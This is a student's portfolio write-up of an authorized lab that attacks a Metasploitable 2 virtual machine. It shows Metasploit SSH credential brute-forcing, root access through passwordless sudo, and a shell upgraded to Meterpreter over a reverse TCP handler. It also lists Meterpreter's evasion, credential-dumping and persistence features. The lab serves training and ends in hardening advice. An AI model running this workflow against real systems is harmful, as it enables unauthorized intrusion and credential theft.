

SSH, Telnet and SMTP Security Assessment

Ethical Hacking Lab 5

Raliegth Barnett | Cybersecurity & Networking Portfolio

Portfolio Case Study - Detailed Project Oversight and Completion Record

All offensive-security activities described in this document were performed in authorized, isolated academic laboratory environments.

1. Project Overview

A remote-service security assessment covering SSH credential testing, privilege analysis, session management, predictable RSA key risk, Telnet plaintext exposure, and SMTP user enumeration on an isolated Metasploitable 2 environment.

Project Field	Details
Role and Responsibility	Security tester, protocol analyst, evidence collector, and report author.
Environment and Tools	Kali Linux, Metasploitable 2, Metasploit, Nmap NSE, Wireshark, SSH/Telnet/SMTP utilities.
Completion Status	Completed - documented, tested, and included in the master portfolio.
Portfolio Classification	Academic / personal technical project with recruiter-facing case-study documentation.

2. Project Objectives and Success Criteria

- Assess password-based SSH authentication.
- Analyze the impact of excessive sudo privileges.
- Compare Metasploit and Nmap credential-testing approaches.
- Examine predictable legacy RSA key risk.
- Demonstrate Telnet plaintext exposure.
- Evaluate SMTP user enumeration.

3. Project Oversight and Execution Process

3.1 Planning and Scope

Defined the authorized environment, project goal, tools, expected outputs, and safety limitations.

3.2 Implementation

Executed the technical tasks and maintained notes, commands, screenshots, and configuration evidence.

3.3 Validation and Testing

Compared actual output with objectives, confirmed repeatable behavior, and collected proof of completion.

3.4 Analysis and Reporting

Converted technical evidence into findings, defensive interpretation, limitations, and recommendations.

3.5 Portfolio Finalization

Prepared a recruiter-friendly summary, detailed case study, screenshots, source report, and public-release guidance.

4. Technical Methodology

1. Configured the Metasploit SSH login scanner with controlled dictionaries.
2. Validated a command shell and reviewed passwordless sudo access.
3. Converted the authorized shell to a Meterpreter session for lab comparison.
4. Ran Nmap ssh-brute with controlled input files.
5. Examined the Debian OpenSSL weak-key scenario.
6. Captured Telnet authentication traffic and tested SMTP enumeration.

5. Deliverables and Completion Evidence

Deliverable	Status	Evidence
Technical implementation / lab execution	Complete	Commands, configurations, code, or forensic workflow documented.
Testing and validation	Complete	Results and screenshots included below and in the original report.
Detailed project documentation	Complete	This case-study document and README.
Source/original evidence	Complete	Original report or source files stored in this project folder.
Recruiter-ready description	Complete	Summary and skills section included.
Public publishing review	Required before posting	Remove credentials, personal identifiers, confidential case data, and unnecessary target details.

6. Results and Outcomes

- The assessment demonstrated that valid credentials combined with passwordless sudo lead to immediate high-impact access.
- Telnet exposed credentials in plaintext and SMTP behavior disclosed user information.
- The work produced practical hardening recommendations for remote services.

7. Challenges, Decisions, and Lessons Learned

- Explaining the difference between secure protocol design and insecure account configuration.
- Handling powerful post-exploitation tools within strict lab boundaries.

8. Screenshots and Supporting Evidence

```
1 auxiliary/scanner/ssh/ssh_login_pubkey
msf6 > use 0
```

Step 1.2 — Configure options

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options
```

Name	Required	Description
BLANK_PASSWORDS	no	
BRUTEFORCE_SPEED	yes	
DB_ALL_CREDS	no	
DB_ALL_PASS	no	
DB_ALL_USERS	no	
PASSWORD	no	
PASS_FILE	no	
RHOSTS	yes	
RPORT	22	
STOP_ON_SUCCESS	no	
THREADS	yes	
USERNAME	no	
USERPASS_FILE	no	
USER_FILE	no	
VERBOSE	yes	

```
msf6 > set RHOSTS 192.168.56.106
msf6 > set USER_FILE /home/kali/Lab4/user.txt
msf6 > set PASS_FILE /home/kali/Lab4/pass.txt
msf6 > set STOP_ON_SUCCESS true
msf6 > set VERBOSE true
```

Step 1.3 — Run the module

```
msf6 auxiliary(scanner/ssh/ssh_login) > run
```

```
[+] 192.168.56.106:22 - Failed: 'service:service'
[+] 192.168.56.106:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin)
gid=1000(msfadmin) ...'
[*] Command shell session 1 opened (192.168.56.101:44535 ->
192.168.56.106:22)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
A command-shell session (session 1) is now open against the target.
```

Step 1.4 — Managing sessions

```
msf6 > sessions
```

```
Active sessions
=====
Id  Name  Type      Information
Connection
```

SSH scanner configuration and successful authorized session.

```

-- ---- ----
-----
1      shell linux  SSH msfadmin:msfadmin @ 192.168.56.106:22
192.168.56.101 -> 192.168.56.106

msf6 > sessions 1
[*] Starting interaction with 1...

msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin)
groups=4(adm),20(dialout),24(cdrom),...,1000(msfadmin)

msfadmin@metasploitable:~$ sudo -n whoami
root
The msfadmin user has full passwordless sudo access on Metasploitable 2, so privilege escalation to root
is trivial.

```

Step 1.5 — Upgrading to Meterpreter

Background the shell session and run post/multi/manage/shell_to_meterpreter to upgrade:

```

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y

msf6 > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit multi/handler
[*] Started reverse TCP handler on 192.168.56.101:4433
[*] Sending stage (1017704 bytes) to 192.168.56.106
[*] Meterpreter session 2 opened (192.168.56.101:4433 ->
192.168.56.106:40318)

msf6 > sessions 2
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
(i686)
Architecture : i686
Meterpreter   : x86/linux

meterpreter > getuid
Server username: msfadmin

```

Why upgrade to Meterpreter? (Summary of the lab hand-out analogy)

- Lives in memory — no file on disk, which evades most host-based AV.
- Encrypted, obfuscated C2 — harder for IDS/IPS to flag than plaintext shell commands.
- Rich post-exploitation API — file download/upload, privilege escalation, credential dumping (hashdump), port forwarding, webcam / mic capture, persistence modules, all from one interface.

Privilege validation and shell-to-Meterpreter workflow.

9. Skills Demonstrated

SSH, Metasploit, Nmap NSE, session management, Meterpreter, RSA key analysis, Wireshark, Telnet, SMTP enumeration, least privilege.

10. Recommendations and Future Improvements

- Add MFA, fail2ban, key rotation, and least-privilege retesting.
- Create detection rules for repeated SSH attempts and SMTP enumeration.

11. Portfolio and Resume Presentation

SSH, Telnet and SMTP Security Assessment - A remote-service security assessment covering SSH credential testing, privilege analysis, session management, predictable RSA key risk, Telnet plaintext exposure, and SMTP user enumeration on an isolated Metasploitable 2 environment.

Recommended repository contents: README.md, Documentation/, Evidence/, Source/ or Original_Report/, and a clear authorization/privacy notice.

12. Completion Statement

This project is considered complete for portfolio use because the scope, implementation process, testing evidence, results, skills, limitations, and future improvements are documented. Before public release, sensitive data must be reviewed and removed.